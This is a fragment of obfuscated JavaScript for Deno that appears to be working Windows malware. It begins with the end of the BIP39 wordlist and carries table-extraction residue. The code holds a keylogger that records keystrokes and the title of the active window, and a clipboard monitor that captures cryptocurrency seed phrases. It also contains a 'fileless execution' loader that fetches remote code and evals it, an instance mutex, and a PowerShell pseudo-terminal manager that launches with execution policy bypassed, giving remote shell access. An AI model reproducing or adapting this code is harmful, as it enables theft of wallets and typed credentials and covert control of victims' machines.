\ngrunt\nguard\nguess\nguide\nguilt\nguitar\ngun\ngym\nhabit\nhair\nhalf\nhammer\nhamster\nhand\nhappy\nharbor\nhard\nharsh\nharvest\nhat\nhave\nhawk\nhazard\nhead\nhealth\nheart\nheavy\nhedgehog\nheight\nhello\nhelmet\nhelp\nhen\nhero\nhidden\nhigh\nhill\nhint\nhip\nhire\nhistory\nhobby\nhockey\nhold\nhole\nholiday\nhollow\nhome\nhoney\nhood\nhope\nhorn\nhorror\nhorse\nhospital\nhost\nhotel\nhour\nhover\nhub\nhuge\nhuman\nhumble\nhumor\nhundred\nhungry\nhunt\nhurdle\nhurry\nhurt\nhusband\nhybrid\nice\nicon\nidea\nidentify\nidle\nignore\nill\nillegal\nillness\nimage\nimitate\nimmense\nimmune\nimpact\nimpose\nimprove\nimpulse\ninch\ninclude\nincome\nincrease\nindex\nindicate\nindoor\nindustry\ninfant\ninflict\ninform\ninhale\ninherit\ninitial\ninject\ninjury\ninmate\ninner\ninnocent\ninput\ninquiry\ninsane\ninsect\ninside\ninspire\ninstall\nintact\ninterest\ninto\ninvest\ninvite\ninvolve\niron\nisland\nisolate\nissue\nitem\nivory\njacket\njaguar\njar\njazz\njealous\njeans\njelly\njewel\njob\njoin\njoke\njourney\njoy\njudge\njuice\njump\njungle\njunior\njunk\njust\nkangaroo\nkeen\nkeep\nketchup\nkey\nkick\nkid\nkidney\nkind\nkingdom\nkiss\nkit\nkitchen\nkite\nkitten\nkiwi\nknee\nknife\nknock\nknow\nlab\nlabel\nlabor\nladder\nlady\nlake\nlamp\nlanguage\nlaptop\nlarge\nlater\nlatin\nlaugh\nlaundry\nlava\nlaw\nlawn\nlawsuit\nlayer\nlazy\nleader\nleaf\nlearn\nleave\nlecture\nleft\nleg\nlegal\nlegend\nleisure\nlemon\nlend\nlength\nlens\nleopard\nlesson\nletter\nlevel\nliar\nliberty\nlibrary\nlicense\nlife\nlift\nlight\nlike\nlimb\nlimit\nlink\nlion\nliquid\nlist\nlittle\nlive\nlizard\nload\nloan\nlobster\nlocal\nlock\nlogic\nlonely\nlong\nloop\nlottery\nloud\nlounge\nlove\nloyal\nlucky\nluggage\nlumber\nlunar\nlunch\nluxury\nlyrics\nmachine\nmad\nmagic\nmagnet\nmaid\nmail\nmain\nmajor\nmake\nmammal\nman\nmanage\nmandate\nmango\nmansion\nmanual\nmaple\nmarble\nmarch\nmargin\nmarine\nmarket\nmarriage\nmask\nmass\nmaster\nmatch\nmaterial\nmath\nmatrix\nmatter\nmaximum\nmaze\nmeadow\nmean\nmeasure\nmeat\nmechanic\nmedal\nmedia\nmelody\nmelt\nmember\nmemory\nmention\nmenu\nmercy\nmerge\nmerit\nmerry\nmesh\nmessage\nmetal\nmethod\nmiddle\nmidnight\nmilk\nmillion\nmimic\nmind\nminimum\nminor\nminute\nmiracle\nmirror\nmisery\nmiss\nmistake\nmix\nmixed\nmixture\nmobile\nmodel\nmodify\nmom\nmoment\nmonitor\nmonkey\nmonster\nmonth\nmoon\nmoral\nmore\nmorning\nmosquito\nmother\nmotion\nmotor\nmountain\nmouse\nmove\nmovie\nmuch\nmuffin\nmule\nmultiply\nmuscle\nmuseum\nmushroom\nmusic\nmust\nmutual\nmyself\nmystery\nmyth\nnaive\nname\nnapkin\nnarrow\nnasty\nnation\nnature\nnear\nneck\nneed\nnegative\nneglect\nneither\nnephew\nnerve\nnest\nnet\nnetwork\nneutral\nnever\nnews\nnext\nnice\nnight\nnoble\nnoise\nnominee\nnoodle\nnormal\nnorth\nnose\nnotable\nnote\nnothing\nnotice\nnovel\nnow\nnuclear\nnumber\nnurse\nnut\noak\nobey\nobject\noblige\nobscure\nobserve\nobtain\nobvious\noccur\nocean\noctober\nodor\noff\noffer\noffice\noften\noil\nokay\nold\nolive\nolympic\nomit\nonce\none\nonion\nonline\nonly\nopen\nopera\nopinion\noppose\noption\norange\norbit\norchard\norder\nordinary\norgan\norient\noriginal\norphan\nostrich\nother\noutdoor\nouter\noutput\noutside\noval\noven\nover\nown\nowner\noxygen\noyster\nozone\npact\npaddle\npage\npair\npalace\npalm\npanda\npanel\npanic\npanther\npaper\nparade\nparent\npark\nparrot\nparty\npass\npatch\npath\npatient\npatrol\npattern\npause\npave\npayment\npeace\npeanut\npear\npeasant\npelican\npen\npenalty\npencil\npeople\npepper\nperfect\npermit\nperson\npet\nphone\nphoto\nphrase\nphysical\npiano\npicnic\npicture\npiece\npig\npigeon\npill\npilot\npink\npioneer\npipe\npistol\npitch\npizza\nplace\nplanet\nplastic\nplate\nplay\nplease\npledge\npluck\nplug\nplunge\npoem\npoet\npoint\npolar\npole\npolice\npond\npony\npool\npopular\nportion\nposition\npossible\npost\npotato\npottery\npoverty\npowder\npower\npractice\npraise\npredict\nprefer\nprepare\npresent\npretty\nprevent\nprice\npride\nprimary\nprint\npriority\nprison\nprivate\nprize\nproblem\nprocess\nproduce\nprofit\nprogram\nproject\npromote\nproof\nproperty\nprosper\nprotect\nproud\nprovide\npublic\npudding\npull\npulp\npulse\npumpkin\npunch\npupil\npuppy\npurchase\npurity\npurpose\npurse\npush\nput\npuzzle\npyramid\nquality\nquantum\nquarter\nquestion\nquick\nquit\nquiz\nquote\nrabbit\nraccoon\nrace\nrack\nradar\nradio\nrail\nrain\nraise\nrally\nramp\nranch\nrandom\nrange\nrapid\nrare\nrate\nrather\nraven\nraw\nrazor\nready\nreal\nreason\nrebel\nrebuild\nrecall\nreceive\nrecipe\nrecord\nrecycle\nreduce\nreflect\nreform\nrefuse\nregion\nregret\nregular\nreject\nrelax\nrelease\nrelief\nrely\nremain\nremember\nremind\nremove\nrender\nrenew\nrent\nreopen\nrepair\nrepeat\nreplace\nreport\nrequire\nrescue\nresemble\nresist\nresource\nresponse\nresult\nretire\nretreat\nreturn\nreunion\nreveal\nreview\nreward\nrhythm\nrib\nribbon\nrice\nrich\nride\nridge\nrifle\nright\nrigid\nring\nriot\nripple\nrisk\nritual\nrival\nriver\nroad\nroast\nrobot\nrobust\nrocket\nromance\nroof\nrookie\nroom\nrose\nrotate\nrough\nround\nroute\nroyal\nrubber\nrude\nrug\nrule\nrun\nrunway\nrural\nsad\nsaddle\nsadness\nsafe\nsail\nsalad\nsalmon\nsalon\nsalt\nsalute\nsame\nsample\nsand\nsatisfy\nsatoshi\nsauce\nsausage\nsave\nsay\nscale\nscan\nscare\nscatter\nscene\nscheme\nschool\nscience\nscissors\nscorpion\nscout\nscrap\nscreen\nscript\nscrub\nsea\nsearch\nseason\nseat\nsecond\nsecret\nsection\nsecurity\nseed\nseek\nsegment\nselect\nsell\nseminar\nsenior\nsense\nsentence\nseries\nservice\nsession\nsettle\nsetup\nseven\nshadow\nshaft\nshallow\nshare\nshed\nshell\nsheriff\nshield\nshift\nshine\nship\nshiver\nshock\nshoe\nshoot\nshop\nshort\nshoulder\nshove\nshrimp\nshrug\nshuffle\nshy\nsibling\nsick\nside\nsiege\nsight\nsign\nsilent\nsilk\nsilly\nsilver\nsimilar\nsimple\nsince\nsing\nsiren\nsister\nsituate\nsix\nsize\nskate\nsketch\nski\nskill\nskin\nskirt\nskull\nslab\nslam\nsleep\nslender\nslice\nslide\nslight\nslim\nslogan\nslot\nslow\nslush\nsmall\nsmart\nsmile\nsmoke\nsmooth\nsnack\nsnake\nsnap\nsniff\nsnow\nsoap\nsoccer\nsocial\nsock\nsoda\nsoft\nsolar\nsoldier\nsolid\nsolution\nsolve\nsomeone\nsong\nsoon\nsorry\nsort\nsoul\nsound\nsoup\nsource\nsouth\nspace\nspare\nspatial\nspawn\nspeak\nspecial\nspeed\nspell\nspend\nsphere\nspice\nspider\nspike\nspin\nspirit\nsplit\nspoil\nsponsor\nspoon\nsport\nspot\nspray\nspread\nspring\nspy\nsquare\nsqueeze\nsquirrel\nstable\nstadium\nstaff\nstage\nstairs\nstamp\nstand\nstart\nstate\nstay\nsteak\nsteel\nstem\nstep\nstereo\nstick\nstill\nsting\nstock\nstomach\nstone\nstool\nstory\nstove\nstrategy\nstreet\nstrike\nstrong\nstruggle\nstudent\nstuff\nstumble\nstyle\nsubject\nsubmit\nsubway\nsuccess\nsuch\nsudden\nsuffer\nsugar\nsuggest\nsuit\nsummer\nsun\nsunny\nsunset\nsuper\nsupply\nsupreme\nsure\nsurface\nsurge\nsurprise\nsurround\nsurvey\nsuspect\nsustain\nswallow\nswamp\nswap\nswarm\nswear\nsweet\nswift\nswim\nswing\nswitch\nsword\nsymbol\nsymptom\nsyrup\nsystem\ntable\ntackle\ntag\ntail\ntalent\ntalk\ntank\ntape\ntarget\ntask\ntaste\ntattoo\ntaxi\nteach\nteam\ntell\nten\ntenant\ntennis\ntent\nterm\ntest\ntext\nthank\nthat\ntheme\nthen\ntheory\nthere\nthey\nthing\nthis\nthought\nthree\nthrive\nthrow\nthumb\nthunder\nticket\ntide\ntiger\ntilt\ntimber\ntime\ntiny\ntip\ntired\ntissue\ntitle\ntoast\ntobacco\ntoday\ntoddler\ntoe\ntogether\ntoilet\ntoken\ntomato\ntomorrow\ntone\ntongue\ntonight\ntool\ntooth\ntop\ntopic\ntopple\ntorch\ntornado\ntortoise\ntoss\ntotal\ntourist\ntoward\ntower\ntown\ntoy\ntrack\ntrade\ntraffic\ntragic\ntrain\ntransfer\ntrap\ntrash\ntravel\ntray\ntreat\ntree\ntrend\ntrial\ntribe\ntrick\ntrigger\ntrim\ntrip\ntrophy\ntrouble\ntruck\ntrue\ntruly\ntrumpet\ntrust\ntruth\ntry\ntube\ntuition\ntumble\ntuna\ntunnel\nturkey\nturn\nturtle\ntwelve\ntwenty\ntwice\ntwin\ntwist\ntwo\ntype\ntypical\nugly\numbrella\nunable\nunaware\nuncle\nuncover\nunder\nundo\nunfair\nunfold\nunhappy\nuniform\nunique\nunit\nuniverse\nunknown\nunlock\nuntil\nunusual\nunveil\nupdate\nupgrade\nuphold\nupon\nupper\nupset\nurban\nurge\nusage\nuse\nused\nuseful\nuseless\nusual\nutility\nvacant\nvacuum\nvague\nvalid\nvalley\nvalve\nvan\nvanish\nvapor\nvarious\nvast\nvault\nvehicle\nvelvet\nvendor\nventure\nvenue\nverb\nverify\nversion\nvery\nvessel\nveteran\nviable\nvibrant\nvicious\nvictory\nvideo\nview\nvillage\nvintage\nviolin\nvirtual\nvirus\nvisa\nvisit\nvisual\nvital\nvivid\nvocal\nvoice\nvoid\nvolcano\nvolume\nvote\nvoyage\nwage\nwagon\nwait\nwalk\nwall\nwalnut\nwant\nwarfare\nwarm\nwarrior\nwash\nwasp\nwaste\nwater\nwave\nway\nwealth\nweapon\nwear\nweasel\nweather\nweb\nwedding\nweekend\nweird\nwelcome\nwest\nwet\nwhale\nwhat\nwheat\nwheel\nwhen\nwhere\nwhip\nwhisper\nwide\nwidth\nwife\nwild\nwill\nwin\nwindow\nwine\nwing\nwink\nwinner\nwinter\nwire\nwisdom\nwise\nwish\nwitness\nwolf\nwoman\nwonder\nwood\nwool\nword\nwork\nworld\nworry\nworth\nwrap\nwreck\nwrestle\nwrist\nwrite\nwrong\nyard\nyear\nyellow\nyou\nyoung\nyouth\nzebra\nzero\nzone\nzoo" ["split"]("\n"), | |
| CF_UNICODETEXT = 13, | |
| MAX_CLIPBOARD_SIZE_KB = 1024, | |
| user32 = null, | |
| kernel322 = null; | |
| function loadDlls() { | |
| const _0x4c379e2 = potato; | |
| if (user32 && kernel322) return; | |
| user32 = Deno["dlopen"]("user32.dll", { | |
| "GetForegroundWindow": { | |
| "parameters": [], | |
| "result": "pointer" | |
| }, | |
| "GetWindowTextW": { | |
| "parameters": ["pointer", "buffer", "i32"], | |
| "result": "i32" | |
| }, | |
| "GetWindowThreadProcessId": { | |
| "parameters": ["pointer", "pointer"], | |
| "result": "u32" | |
| }, | |
| "GetKeyboardLayout": { | |
| "parameters": ["u32"], | |
| "result": "pointer" | |
| }, | |
| "GetAsyncKeyState": { | |
| "parameters": ["i32"], | |
| "result": "i16" | |
| }, | |
| "MapVirtualKeyExW": { | |
| "parameters": ["u32", "u32", "pointer"], | |
| "result": "u32" | |
| }, | |
| "ToUnicodeEx": { | |
| "parameters": ["u32", "u32", "buffer", "buffer", "i32", "u32", "pointer"], | |
| "result": "i32" | |
| }, | |
| "OpenClipboard": { | |
| "parameters": ["pointer"], | |
| "result": "i32" | |
| }, | |
| "CloseClipboard": { | |
| "parameters": [], | |
| "result": "i32" | |
| }, | |
| "GetClipboardData": { | |
| "parameters": ["u32"], | |
| "result": "pointer" | |
| }, | |
| "GetClipboardSequenceNumber": { | |
| "parameters": [], | |
| "result": "u32" | |
| } | |
| }), kernel322 = Deno["dlopen"]("kernel32.dll", { | |
| "GlobalLock": { | |
| "parameters": ["pointer"], | |
| "result": "pointer" | |
| }, | |
| "GlobalUnlock": { | |
| "parameters": ["pointer"], | |
| "result": "i32" | |
| }, | |
| "GlobalSize": { | |
| "parameters": ["pointer"], | |
| "result": "usize" | |
| } | |
| }); | |
| } | |
| function getActiveWindowTitle() { | |
| const _0x44858c2 = potato; | |
| try { | |
| if (!user32) return "Unknown"; | |
| const _0x1fc26f5 = user32["symbols"]["GetForegroundWindow"](); | |
| if (!_0x1fc26f5 || _0x1fc26f5 === null) return "Unknown"; | |
| const _0x5317d3 = new Uint16Array(512), | |
| _0x1f8f3 = user32["symbols"]["GetWindowTextW"](_0x1fc26f5, _0x5317d3, 512); | |
| if (_0x1f8f3 === 0) return "Unknown"; | |
| return new TextDecoder("utf-16le")["decode"](new Uint8Array(_0x5317d3["buffer"], 0, _0x1f8f3 * 2)); | |
| } catch { | |
| return "Unknown"; | |
| } | |
| } | |
| var keyboardState = { | |
| "accumulatedText": "", | |
| "lastKeyTime": Date["now"](), | |
| "currentWindow": "", | |
| "prevState": new Map() | |
| }, | |
| KEYS_TO_MONITOR = [...Array["from"]({ | |
| "length": 26 | |
| }, (_0x65af, _0x51c0a2) => 65 + _0x51c0a2), ...Array["from"]({ | |
| "length": 10 | |
| }, (_0x17eca, _0x287f9a3) => 48 + _0x287f9a3), ...Array["from"]({ | |
| "length": 10 | |
| }, (_0x2b1ca, _0xa6df2) => 96 + _0xa6df2), 32, 13, 8, 9, 186, 187, 188, 189, 190, 191, 192, 219, 220, 221, 222, 106, 107, 109, 110, 111]; | |
| async function waitKeyboardLog() { | |
| const _0x3fc9dc2 = potato; | |
| loadDlls(); | |
| if (!user32) throw new Error("Failed to load user32.dll"); | |
| keyboardState["accumulatedText"] = "", keyboardState["lastKeyTime"] = Date["now"](), keyboardState["currentWindow"] = getActiveWindowTitle(), keyboardState["prevState"]["clear"](); | |
| let _0x3b659c3 = 0; | |
| while (!![]) { | |
| _0x3b659c3++; | |
| const _0x2cbc0e3 = user32["symbols"]["GetForegroundWindow"](), | |
| _0x26d3b2 = user32["symbols"]["GetWindowThreadProcessId"](_0x2cbc0e3, null), | |
| _0x4e9 = user32["symbols"]["GetKeyboardLayout"](_0x26d3b2), | |
| _0xcd7 = new Uint8Array(256); | |
| if (user32["symbols"]["GetAsyncKeyState"](16) < 0) _0xcd7[16] = 128; | |
| if (user32["symbols"]["GetAsyncKeyState"](17) < 0) _0xcd7[17] = 128; | |
| if (user32["symbols"]["GetAsyncKeyState"](18) < 0) _0xcd7[18] = 128; | |
| if ((user32["symbols"]["GetAsyncKeyState"](20) & 1) !== 0) _0xcd7[20] = 1; | |
| let _0x313b2 = 0; | |
| for (const _0x2ee2ca8 of KEYS_TO_MONITOR) { | |
| const _0x3233d2 = user32["symbols"]["GetAsyncKeyState"](_0x2ee2ca8), | |
| _0x3348cc5 = _0x3233d2 < 0, | |
| _0x277 = keyboardState["prevState"]["get"](_0x2ee2ca8) || ![]; | |
| if (_0x3348cc5) _0x313b2++; | |
| if (_0x3348cc5 && !_0x277) { | |
| const _0x5b0be3 = user32["symbols"]["MapVirtualKeyExW"](_0x2ee2ca8, 0, _0x4e9); | |
| _0xcd7[_0x2ee2ca8] = 128; | |
| const _0x43e3 = new Uint16Array(5), | |
| _0x27704d4 = user32["symbols"]["ToUnicodeEx"](_0x2ee2ca8, _0x5b0be3, _0xcd7, _0x43e3, 5, 0, _0x4e9); | |
| if (_0x27704d4 > 0) { | |
| const _0x1c73ba3 = new TextDecoder("utf-16le")["decode"](new Uint8Array(_0x43e3["buffer"], 0, _0x27704d4 * 2)); | |
| keyboardState["accumulatedText"] += _0x1c73ba3, keyboardState["lastKeyTime"] = Date["now"](); | |
| } | |
| } | |
| keyboardState["prevState"]["set"](_0x2ee2ca8, _0x3348cc5); | |
| } | |
| await new Promise(_0x3a5cda3 => setTimeout(_0x3a5cda3, 100)); | |
| const _0x2c17 = Date["now"]() - keyboardState["lastKeyTime"], | |
| _0xaca3 = keyboardState["accumulatedText"]; | |
| if (Date["now"]() % 1000 < 50) { | |
| const _0x2f80c3 = getActiveWindowTitle(); | |
| _0x2f80c3 !== keyboardState["currentWindow"] && (keyboardState["currentWindow"] = _0x2f80c3); | |
| } | |
| if (_0x2c17 > 10000 && _0xaca3["length"] > 0) { | |
| const _0x10d2 = keyboardState["currentWindow"]; | |
| return keyboardState["accumulatedText"] = "", keyboardState["lastKeyTime"] = Date["now"](), { | |
| "focusApp": _0x10d2, | |
| "text": _0xaca3 | |
| }; | |
| } | |
| } | |
| } | |
| function getClipboardText() { | |
| const _0x4c5b = potato; | |
| try { | |
| if (!user32 || !kernel322) return null; | |
| if (user32["symbols"]["OpenClipboard"](null) === 0) return null; | |
| try { | |
| const _0x25a6 = user32["symbols"]["GetClipboardData"](CF_UNICODETEXT); | |
| if (!_0x25a6 || _0x25a6 === null) return null; | |
| const _0x57a9f4 = kernel322["symbols"]["GlobalLock"](_0x25a6); | |
| if (!_0x57a9f4 || _0x57a9f4 === null) return null; | |
| try { | |
| const _0x2a4d1a4 = Number(kernel322["symbols"]["GlobalSize"](_0x25a6)); | |
| if (_0x2a4d1a4 > MAX_CLIPBOARD_SIZE_KB) return null; | |
| const _0x22549e3 = new Deno["UnsafePointerView"](_0x57a9f4), | |
| _0x5d15 = new Uint16Array(_0x2a4d1a4 / 2); | |
| for (let _0x1a3c6 = 0; _0x1a3c6 < _0x5d15["length"]; _0x1a3c6++) { | |
| const _0x4ae3 = _0x22549e3["getUint16"](_0x1a3c6 * 2); | |
| if (_0x4ae3 === 0) { | |
| const _0x132ba3 = new TextDecoder("utf-16le")["decode"](new Uint8Array(_0x5d15["buffer"], 0, _0x1a3c6 * 2)); | |
| return _0x132ba3["length"] > 0 ? _0x132ba3 : null; | |
| } | |
| _0x5d15[_0x1a3c6] = _0x4ae3; | |
| } | |
| const _0x280 = new TextDecoder("utf-16le")["decode"](new Uint8Array(_0x5d15["buffer"])); | |
| return _0x280["length"] > 0 ? _0x280 : null; | |
| } finally { | |
| kernel322["symbols"]["GlobalUnlock"](_0x25a6); | |
| } | |
| } finally { | |
| user32["symbols"]["CloseClipboard"](); | |
| } | |
| } catch { | |
| return null; | |
| } | |
| } | |
| function isBIP39Seed(_0x5df7c2) { | |
| const _0x4434f = potato; | |
| try { | |
| const _0x3344c3 = _0x5df7c2["trim"]()["replace"](/\s+/g, " ")["toLowerCase"](), | |
| _0x3f4 = _0x3344c3["split"](" ")["length"]; | |
| if (![12, 15, 18, 21, 24]["includes"](_0x3f4)) return ![]; | |
| return validateMnemonic(_0x3344c3, wordlist); | |
| } catch { | |
| return ![]; | |
| } | |
| } | |
| function perpetual(_0x21cca5, _0x281) { | |
| _0x21cca5 = _0x21cca5 - 280; | |
| const _0x2d29f2 = skillful(); | |
| let _0x24d2 = _0x2d29f2[_0x21cca5]; | |
| return _0x24d2; | |
| } | |
| async function waitClipboardLog() { | |
| const _0x282 = potato; | |
| loadDlls(); | |
| if (!user32) throw new Error("Failed to load user32.dll"); | |
| let _0x1c7b4 = 0; | |
| while (!![]) { | |
| await new Promise(_0x284 => setTimeout(_0x284, 500)); | |
| const _0x1a25bc4 = user32["symbols"]["GetClipboardSequenceNumber"](); | |
| if (_0x1a25bc4 !== _0x1c7b4 && _0x1c7b4 !== 0) { | |
| const _0x232cb6 = getClipboardText(); | |
| if (_0x232cb6 && isBIP39Seed(_0x232cb6)) { | |
| const _0x287 = getActiveWindowTitle(); | |
| return console["log"]("BIP39 seed detected! " + _0x232cb6["split"](" ")["length"] + " words from " + _0x287), { | |
| "focusApp": _0x287, | |
| "clipboard": _0x232cb6 | |
| }; | |
| } | |
| } | |
| _0x1c7b4 = _0x1a25bc4; | |
| } | |
| } | |
| var import_node_child_process = require("node:child_process"), | |
| import_node_process = __toESM(require("node:process")); | |
| function runModule(_0x545ee2) { | |
| const _0x25726b3 = potato, | |
| { | |
| name: _0x17f6dc7, | |
| moduleUrl: _0x43c5a4 | |
| } = _0x545ee2; | |
| console["log"]("[" + _0x17f6dc7 + "] Starting fileless execution from " + _0x43c5a4 + "..."); | |
| const _0x44b9b2 = "import{createRequire}from\"node:module\";globalThis.require=createRequire(\"file:///\");globalThis.module={exports:{}};globalThis.exports=globalThis.module.exports;globalThis.__filename=\"file:///module.cjs\";globalThis.__dirname=\"file:///\";eval(await(await fetch(\"" + _0x43c5a4 + "\")).text())", | |
| _0x444d1c3 = "data:application/javascript," + encodeURIComponent(_0x44b9b2); | |
| return new Promise(_0x32b6f3 => { | |
| const _0x16a6ec6 = _0x25726b3, | |
| _0x4e2ce6 = (0, import_node_child_process["spawn"])("deno", ["run", "-A", _0x444d1c3], { | |
| "stdio": ["inherit", "pipe", "pipe"], | |
| "env": import_node_process["default"]["env"] | |
| }); | |
| _0x4e2ce6["stdout"]?. ["on"]("data", _0x21cd2 => { | |
| const _0x1edf = _0x16a6ec6; | |
| console["log"]("[" + _0x17f6dc7 + "] " + _0x21cd2["toString"]()["trimEnd"]()); | |
| }), _0x4e2ce6["stderr"]?. ["on"]("data", _0x4a53df3 => { | |
| const _0x28f93f2 = _0x16a6ec6; | |
| console["error"]("[" + _0x17f6dc7 + "] " + _0x4a53df3["toString"]()["trimEnd"]()); | |
| }), _0x4e2ce6["on"]("close", _0x3ffb6d4 => { | |
| const _0x288 = _0x16a6ec6; | |
| console["log"]("[" + _0x17f6dc7 + "] Process exited with code " + _0x3ffb6d4), _0x32b6f3(_0x3ffb6d4); | |
| }), _0x4e2ce6["on"]("error", _0x4d1ef2 => { | |
| const _0x45b0bb2 = _0x16a6ec6; | |
| console["error"]("[" + _0x17f6dc7 + "] Failed to start process:", _0x4d1ef2), _0x32b6f3(null); | |
| }); | |
| }); | |
| } | |
| var import_node_net = require("node:net"), | |
| mutexServer = null; | |
| async function createMutex(_0x4ac4) { | |
| return new Promise(_0x232f2 => { | |
| let _0x21f4c0 = 0; | |
| const _0x5a6b6d7 = 10; | |
| let _0x299 = ![], | |
| _0x57531a6; | |
| const _0x4032e6 = _0x2b0e2 => { | |
| if (!_0x299) { | |
| _0x299 = !![]; | |
| if (_0x57531a6) clearInterval(_0x57531a6); | |
| _0x232f2(_0x2b0e2); | |
| } | |
| }, | |
| _0x2d72ec4 = () => { | |
| const _0x298 = perpetual; | |
| if (_0x299) return; | |
| _0x21f4c0++, console["log"]("[" + new Date()["toISOString"]() + "] Mutex attempt " + _0x21f4c0 + "/" + _0x5a6b6d7); | |
| try { | |
| mutexServer = (0, import_node_net["createServer"])(), mutexServer["on"]("error", _0x297 => { | |
| const _0xc = _0x298; | |
| _0x297["code"] === "EADDRINUSE" ? (console["log"]("[" + new Date()["toISOString"]() + "] Port " + _0x4ac4 + " is in use, attempt " + _0x21f4c0 + "/" + _0x5a6b6d7), _0x21f4c0 >= _0x5a6b6d7 && (console["log"]("[" + new Date()["toISOString"]() + "] Max attempts reached, another instance is running"), _0x4032e6(![]))) : (console["error"]("[" + new Date()["toISOString"]() + "] Mutex error:", _0x297), _0x4032e6(![])); | |
| }), mutexServer["listen"](_0x4ac4, "127.0.0.1", () => { | |
| const _0x908e8f2 = _0x298; | |
| console["log"]("[" + new Date()["toISOString"]() + "] Mutex acquired on port " + _0x4ac4 + " (attempt " + _0x21f4c0 + ")"), _0x4032e6(!![]); | |
| }); | |
| } catch (_0x185b2) { | |
| console["error"]("[" + new Date()["toISOString"]() + "] Failed to create mutex (attempt " + _0x21f4c0 + "):", _0x185b2), _0x21f4c0 >= _0x5a6b6d7 && _0x4032e6(![]); | |
| } | |
| }; | |
| _0x2d72ec4(), _0x57531a6 = setInterval(() => { | |
| _0x21f4c0 < _0x5a6b6d7 && !_0x299 ? _0x2d72ec4() : clearInterval(_0x57531a6); | |
| }, 1000); | |
| }); | |
| } | |
| var PtySessionManager = class { | |
| ["sessions"] = new Map(); | |
| ["cleanupInterval"]; | |
| ["outputCallback"] = null; | |
| constructor() { | |
| const _0xac36bc3 = potato; | |
| this["cleanupInterval"] = setInterval(() => { | |
| const _0x487fa = _0xac36bc3; | |
| this["cleanupIdleSessions"](); | |
| }, 5 * 60 * 1000); | |
| } | |
| ["setOutputCallback"](_0x508bed3) { | |
| const _0x1916b = potato; | |
| this["outputCallback"] = _0x508bed3; | |
| } | |
| async ["startSession"](_0x511c8, _0x3ceb3 = 80, _0xe4b3 = 24) { | |
| const _0x283ad = potato; | |
| if (this["sessions"]["has"](_0x511c8)) { | |
| console["log"]("PTY session " + _0x511c8 + " already exists"); | |
| return; | |
| } | |
| console["log"]("Starting new PTY session: " + _0x511c8 + " (" + _0x3ceb3 + "x" + _0xe4b3 + ")"); | |
| try { | |
| const _0x3de0c2 = ["https://jsr.io/@sigma/pty-ffi/0.39.1/mod.ts"]["join"](""), | |
| { | |
| Pty: _0x8f6e4e3 | |
| } = await import(_0x3de0c2), | |
| _0x3bfb2d4 = new _0x8f6e4e3("powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass"); | |
| try { | |
| _0x3bfb2d4["resize"]({ | |
| "cols": _0x3ceb3, | |
| "rows": _0xe4b3 | |
| }); | |
| } catch {} | |
| const _0x302 = { | |
| "id": _0x511c8, | |
| "pty": _0x3bfb2d4, | |
| "lastActivityTime": Date["now"](), | |
| "isReading": !![] | |
| }; | |
| this["sessions"]["set"](_0x511c8, _0x302), this["startBackgroundReader"](_0x302), console["log"]("PTY session " + _0x511c8 + " initialized and reader started"); | |
| } catch (_0x2641ed5) { | |
| console["error"]("Failed to start PTY session " + _0x511c8 + ":", _0x2641ed5), console["error"]("This may be caused by security policy blocking unsigned DLLs"); | |
| throw new Error("PTY not available: " + (_0x2641ed5 instanceof Error ? _0x2641ed5["message"] : "Unknown error")); | |
| } | |
| } | |
| async ["startBackgroundReader"](_0x370edc5) { | |
| const _0x2d56b = potato; | |
| try { | |
| for await (const _0x3a06eb4 of _0x370edc5["pty"]["readable"]) { | |
| if (!_0x370edc5["isReading"]) break; | |
| _0x3a06eb4 && this["outputCallback"] && this["outputCallback"](_0x370edc5["id"], _0x3a06eb4); | |
| } | |
| } catch {} | |
| } | |
| ["writeInput"](_0x58d9b4, _0x3d7a3f3) { | |
| const _0x3712f = potato, | |
| _0x41af5f5 = this["sessions"]["get"](_0x58d9b4); | |
| if (!_0x41af5f5) { | |
| console["error"]("PTY session " + _0x58d9b4 + " not found"); | |
| return; | |
| } | |
| _0x41af5f5["lastActivityTime"] = Date["now"](), _0x41af5f5["pty"]["write"](_0x3d7a3f3); | |
| } | |
| ["resize"](_0x2eeb3, _0x1c7f2a3, _0x3a7a2) { | |
| const _0x2df5f = potato, | |
| _0x306 = this["sessions"]["get"](_0x2eeb3); | |
| if (!_0x306) { | |
| console["error"]("PTY session " + _0x2eeb3 + " not found"); | |
| return; | |
| } | |
| _0x306["lastActivityTime"] = Date["now"](), _0x306["pty"]["resize"]({ | |
| "cols": _0x1c7f2a3, | |
| "rows": _0x3a7a2 | |
| }); | |
| } | |
| ["stopSession"](_0x5090df6) { | |
| const _0x3ca22c2 = potato, | |
| _0x31ab4 = this["sessions"]["get"](_0x5090df6); | |
| _0x31ab4 ? (console["log"]("Stopping PTY session: " + _0x5090df6), _0x31ab4["isReading"] = ![], _0x31ab4["pty"]["close"](), this["sessions"]["delete"](_0x5090df6)) : console["log"]("PTY session " + _0x5090df6 + " not found (already stopped or never started)"); | |
| } | |
| ["hasSession"](_0x10c9eb3) { | |
| const _0x40615c2 = potato; | |
| return this["sessions"]["has"](_0x10c9eb3); | |
| } | |
| ["cleanupIdleSessions"]() { | |
| const _0x26f3 = potato, | |
| _0x27e5e2 = Date["now"](), | |
| _0x21e0be3 = 30 * 60 * 1000; | |
| for (const [_0x143ca4, _0xa67d1a3] of this["sessions"]) { | |
| _0x27e5e2 - _0xa67d1a3["lastActivityTime"] > _0x21e0be3 && (console["log"]("Cleaning up idle PTY session " + _0x143ca4), this["stopSession"](_0x143ca4)); | |
| } | |
| } | |
| ["destroy"]() { | |
| const _0x48e = potato; | |
| clearInterval(this["cleanupInterval"]); | |
| for (const [_0x3c8] of this["sessions"]) { | |
| this["stopSession"](_0x3c8); | |
| } | |
| } | |
| }, | |
| ptySessionManager = new PtySessionManager(), | |
| import_jpeg_js = __toESM(require_jpeg_js()), | |
| HWND = "pointer", | |
| HDC = "pointer", | |
| HBITMAP = "pointer", | |
| HGDIOBJ = "pointer", | |
| user322 = Deno["dlopen"]("user32.dll", { | |
| "GetDesktopWindow": { | |
| "parameters": [], | |
| "result": HWND | |
| }, | |
| "GetDC": { | |
| "parameters": [HWND], | |
| "result": HDC | |
| }, | |
| "ReleaseDC": { | |
| "parameters": [HWND, HDC], | |
| "result": "i32" | |
| }, | |
| "GetSystemMetrics": { | |
| "parameters": ["i32"], | |
| "result": "i32" | |
| } | |
| }), | |
| shcore = Deno["dlopen"]("shcore.dll", { | |
| "SetProcessDpiAwareness": { | |
| "parameters": ["i32"], | |
| "result": "i32" | |
| } | |
| }), | |
| gdi32 = Deno["dlopen"]("gdi32.dll", { | |
